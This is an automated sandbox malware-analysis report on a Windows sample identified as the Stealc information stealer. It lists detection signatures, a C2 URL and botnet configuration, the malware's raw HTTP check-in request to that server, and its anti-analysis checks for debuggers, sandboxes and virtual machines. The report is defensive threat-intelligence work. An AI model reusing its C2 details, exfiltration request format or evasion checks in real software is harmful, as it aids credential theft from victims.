Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528897
MD5:	555446e29069811f705b562473456397
SHA1:	4545adba658522cf1035be16883def9c888c79e3
SHA256:	ca41747721e954859ba3e691ac62a90dd426459f5622cdd2729e34c1bc64fdbc
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 5476 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 555446E29069811F705B562473456397)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2197795166.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5476	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5476	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.3b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T12:32:11.465876+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49727	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.3b0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_003BC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_003B7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_003B9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_003B9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_003C8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_003BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_003BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_003C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_003C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003B16D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49727 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 36 35 41 38 37 38 32 46 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="hwid"4965A8782FD72284582127------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build"doma------AFHDAKJKFCFBGCBGDHCB--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003B4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_003B4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 36 35 41 38 37 38 32 46 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="hwid"4965A8782FD72284582127------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build"doma------AFHDAKJKFCFBGCBGDHCB--

Source: file.exe, 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2239077197.00000000011C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2239077197.00000000011B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2239077197.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.370

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034	0_2_00778034
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077D019	0_2_0077D019
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EF09B	0_2_006EF09B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00710157	0_2_00710157
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077EACC	0_2_0077EACC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006562B5	0_2_006562B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E63EC	0_2_007E63EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00783BD9	0_2_00783BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00779C47	0_2_00779C47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00789446	0_2_00789446
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007764D4	0_2_007764D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077B4CF	0_2_0077B4CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B249E	0_2_007B249E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007805C7	0_2_007805C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C572E	0_2_006C572E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067972D	0_2_0067972D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BCF13	0_2_007BCF13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078578E	0_2_0078578E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 003B45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xsbjvjcw ZLIB complexity 0.994823391154661

Source: file.exe, 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2197795166.0000000004D60000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_003C9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_003C3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\G7H1AHDC.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1847808 > 1048576

Source: file.exe

Static PE information: Raw size of xsbjvjcw is bigger than: 0x100000 < 0x19d000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.3b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xsbjvjcw:EW;jgzmrfrk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xsbjvjcw:EW;jgzmrfrk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_003C9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cb1df should be: 0x1ccbfe

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xsbjvjcw
Source: file.exe	Static PE information: section name: jgzmrfrk
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003CB035 push ecx; ret	0_2_003CB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B088 push ebp; mov dword ptr [esp], eax	0_2_0081B0C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083508F push ebx; mov dword ptr [esp], ecx	0_2_008350E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083508F push 644F6CA7h; mov dword ptr [esp], eax	0_2_0083511E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00801890 push edx; mov dword ptr [esp], 5D3E46FAh	0_2_008018AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E105D push 3E2B7995h; mov dword ptr [esp], ebx	0_2_007E1078
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B8BE push 75D9356Dh; mov dword ptr [esp], edx	0_2_0081B8FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B8BE push ecx; mov dword ptr [esp], ebx	0_2_0081B97D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 62E0091Ch; mov dword ptr [esp], ebx	0_2_00778062
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push esi; mov dword ptr [esp], edx	0_2_007780CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push edi; mov dword ptr [esp], eax	0_2_007780FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push edi; mov dword ptr [esp], esi	0_2_00778170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 69402000h; mov dword ptr [esp], ebp	0_2_00778228
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push esi; mov dword ptr [esp], edi	0_2_00778234
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push eax; mov dword ptr [esp], 7FC8922Fh	0_2_00778311
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push ebx; mov dword ptr [esp], eax	0_2_00778354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 1284A7A3h; mov dword ptr [esp], esi	0_2_0077835E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 27D0C209h; mov dword ptr [esp], ecx	0_2_00778387
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push ebp; mov dword ptr [esp], 2A41ECF1h	0_2_007783C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 0D9B48D5h; mov dword ptr [esp], esi	0_2_00778410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push ebx; mov dword ptr [esp], 4EFA3067h	0_2_0077841C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 3AB3A41Ch; mov dword ptr [esp], ebp	0_2_0077844D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 642B7EF2h; mov dword ptr [esp], edi	0_2_00778467
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push ecx; mov dword ptr [esp], edx	0_2_007784C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push ecx; mov dword ptr [esp], 7D7D9107h	0_2_007784E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push eax; mov dword ptr [esp], ecx	0_2_007785B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 3F00B22Fh; mov dword ptr [esp], eax	0_2_00778642
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push edi; mov dword ptr [esp], 5AF5F8CBh	0_2_00778652
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 189D5995h; mov dword ptr [esp], edi	0_2_00778663
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 6266E4B7h; mov dword ptr [esp], edx	0_2_00778694
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00778034 push 419FE50Dh; mov dword ptr [esp], esi	0_2_007786D9

Source: file.exe

Static PE information: section name: xsbjvjcw entropy: 7.9535443990541745

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_003C9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13594

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611B16 second address: 611B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DCBF second address: 78DCC4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CB2B second address: 77CB2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CE8C second address: 78CE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CFEB second address: 78D002 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF483h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D2A3 second address: 78D2E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F5ED52EEF85h 0x0000000a jnl 00007F5ED52EEF8Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F5ED52EEF76h 0x00000018 jno 00007F5ED52EEF76h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D425 second address: 78D42C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D42C second address: 78D455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F5ED52EEF84h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F5ED52EEF76h 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D455 second address: 78D461 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jns 00007F5ED4EAF476h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D604 second address: 78D608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A46 second address: 790A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A4A second address: 790A79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jg 00007F5ED52EEF8Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5ED52EEF7Dh 0x0000001a rdtsc
